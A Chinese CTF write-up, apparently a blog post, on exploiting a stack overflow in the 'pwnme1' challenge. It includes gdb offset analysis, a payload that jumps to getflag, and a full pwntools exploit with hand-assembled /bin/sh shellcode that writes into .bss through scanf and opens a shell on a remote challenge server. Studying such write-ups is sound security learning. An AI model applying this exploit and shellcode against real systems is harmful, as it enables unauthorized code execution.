如果不能正常显示,请查看原文 , 或返回

覆盖虚表方式利用栈溢出漏洞

前几天我有个朋友参加一个比赛,丢给我一个pwn题目,问我能不能getshell,而我正好在学习pwn,就拿来练练手,折腾了很久,没有搞出来,后来M4x大佬发来了他的exp,拜读一番之后觉得他的思路相当巧妙,于是记录一下
题目的地址是:
http://download.csdn.net/download/niexinming/10003547
题目要求:

Task:
栈溢出,无任何保护,获得溢出字节数后溢出,执行到getflag函数即可...
题目地址:nc 104.224.169.128 18889

把pwnme1直接拖入ida中
main函数:
image
getfruit函数:
image
getflag函数:
image

先运行一下程序看一下这个程序干了啥
image
整个程序很简单
溢出的地方就在Please input the name of fruit:这个地方
因为参数的输入是用scanf,参考http://blog.csdn.net/citongke1/article/details/8454965,我把参数用下面的py代码输出到一个文件中,然后在调试的时候run < file

import os
os.system("rm -f /home/h11p/vimgdb")
f=open("/home/h11p/vimgdb","w")
data="5 "+"a"*100
f.write(data)
f.close()

在调试的时候在0x080487E5下断点,也就是在call getfruit函数下断点
image

成功的在call 0x8048624 中断下
si进入到程序中
image
因为call addr这个指令是由push eip和jmp addr组成的,所以此时栈顶保存的是返回地址,也就是0xffffd62c保存的地址
然后一直按n走过__isoc99_scanf@plt,看到栈中从地址0xffffd584已经写了100个a
image
计算一下从0xffffd584到保存返回值的地址0xffffd62c的长度,长度为168
这样的话,再多写4个字节就可以覆盖程序的返回地址了,这四个字节我用getfalg这个函数的起始地址,也就是:0x08048677,我把payload的改成

import os
os.system("rm -f /home/h11p/vimgdb")
f=open("/home/h11p/vimgdb","w")
data="5 "+"a"*168+"\x08\x04\x86\x77"[::-1]
f.write(data)
f.close()

然后按照上面的操作再运行一遍
image
发现已经劫持了控制流成功运行到了getflag函数中
尝试用这个写好的文件打远程服务器
image
看到已经成功的拿到了flag
但是我的朋友又提出能不能拿到shell,这个就比较困难了,在研究了一晚上之后我依然没有成功,于是四处求助,最后M4x师傅给出了一个很不错的exp
M4x的exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context(terminal = ['deepin-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048676'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

#  shellcode = asm(shellcraft.sh())
shellcode =  asm("push 0x68")
shellcode += asm("push 0x732f2f2f")
shellcode += asm("push 0x6e69622f")
shellcode += asm("mov ebx, esp")
shellcode += asm("push 0x1010101")
shellcode += asm("xor dword ptr [esp], 0x1016972")
shellcode += asm("xor ecx, ecx")
shellcode += asm("push ecx")
shellcode += asm("push 4")
shellcode += asm("pop ecx")
shellcode += asm("add ecx, esp")
shellcode += asm("push ecx")
shellcode += asm("mov ecx, esp")
shellcode += asm("xor edx, edx")
shellcode += asm("push 0x1b")
shellcode += asm("and byte ptr [esp], 0xf")
shellcode += asm("pop eax")
shellcode += asm("int 0x80")

#  print disasm(shellcode)

elf = ELF('./pwnme1')
scanf_addr = elf.symbols['__isoc99_scanf']
#  print "%x" % scanf_addr
scanf_fmt_addr = elf.search('%s').next()
#  print "%x" % scanf_fmt_addr
bss_addr = elf.bss() 
#  print "%x" % bss_addr
offset = 0xa4 + 0x4

#io = process('./pwnme1')

io = remote('104.224.169.128', 18889)

io.recvuntil('Exit    \n')
io.sendline('5')
io.recvuntil('fruit:')

payload = 'A' * offset
payload += p32(scanf_addr)
payload += p32(bss_addr)
payload += p32(scanf_fmt_addr)
payload += p32(bss_addr)

#  debug()
io.sendline(payload)
io.sendline(shellcode)

io.interactive()

io.close()

运行一下,看看效果:
image
很完美的getshell了,我来分析一下
如果想要明白这个exp,首先要读懂http://bobao.360.cn/learning/detail/4490.html 这个文章

主要的payload为:
image
首先用168个a覆盖写入到栈中,占满无用的空间,然后用scanf的起始地址覆盖函数的返回地址,让程序执行完之后执行scanf函数,后面的54行和55行的相当于传递进scanf的参数,这个操作相当于scanf(%s, bss),这样的下回输入的数据就会全部写入bss段,而bss段保存的是stdin,stdout和stderr的虚表指针,scanf函数运行时会走到bss段的虚表中,此时我把shellcode写入bss段中就可以覆盖bss段的虚表,从而执行我们的shellcode了,而payload的53行是执行完scanf函数的返回地址,这里还是写入bss段的地址,从而让shellcode循环的执行起来

下面我把的debug函数注释去掉,程序运行到debug函数后会自动调用gdb,并且attach到这个进程
Ps:
Ubuntu默认是不让gdbattch程序的,所以参考http://docs.pwntools.com/en/stable/gdb.html,修改/etc/sysctl.d/10-ptrace.conf文件中的kernel.yama.ptrace_scope = 1为kernel.yama.ptrace_scope = 0或者sudo echo 0 > /proc/sys/kernel/yama/ptrace_scope

用python运行exp之后,弹出gdb并自动断在当前运行的地方,然后输入c,程序运行到断点0x08048676,也就是getfruit结尾的地方,输入n继续走,发现已经跳到__isoc99_scanf@plt
image
继续往下执行,发现跳到了shellcode的位置,查看bss段的地址的内容:
image
发现bss段已经写入了shellcode
这个程序成功的执行shellcode了

返回